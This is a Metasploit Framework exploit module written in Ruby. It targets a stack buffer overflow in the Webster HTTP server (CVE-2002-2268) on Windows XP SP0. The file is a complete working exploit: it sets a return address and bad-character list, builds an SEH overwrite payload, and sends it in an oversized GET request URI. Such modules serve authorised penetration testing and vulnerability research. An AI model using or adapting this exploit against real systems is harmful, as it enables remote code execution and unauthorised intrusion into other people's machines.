Webster HTTP Server GET Buffer Overflow

`##  
# $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webster HTTP Server GET Buffer Overflow',  
'Description' => %q{  
This exploits a stack buffer overflow in the Webster HTTP server.  
The server and source code was released within an article from  
the Microsoft Systems Journal in February 1996 titled "Write a  
Simple HTTP-based Server Using MFC and Windows Sockets".  
},  
'Author' => [ 'patrick' ],  
'Version' => '$Revision: 10887 $',  
'References' =>  
[  
[ 'CVE', '2002-2268' ],  
[ 'OSVDB', '44106' ],  
[ 'BID', '6289' ],  
[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],  
[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp  
[ 'Debug', { 'Ret' => 0x44434241 } ] , # todo - add more targets.  
],  
'DisclosureDate' => 'Dec 02 2002',  
'DefaultTarget' => 0))  
end  
  
def exploit  
print_status("Sending request...")  
seh = generate_seh_payload(target.ret)  
  
send_request_raw({  
'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh  
}, 2)  
  
handler  
end  
  
end  
`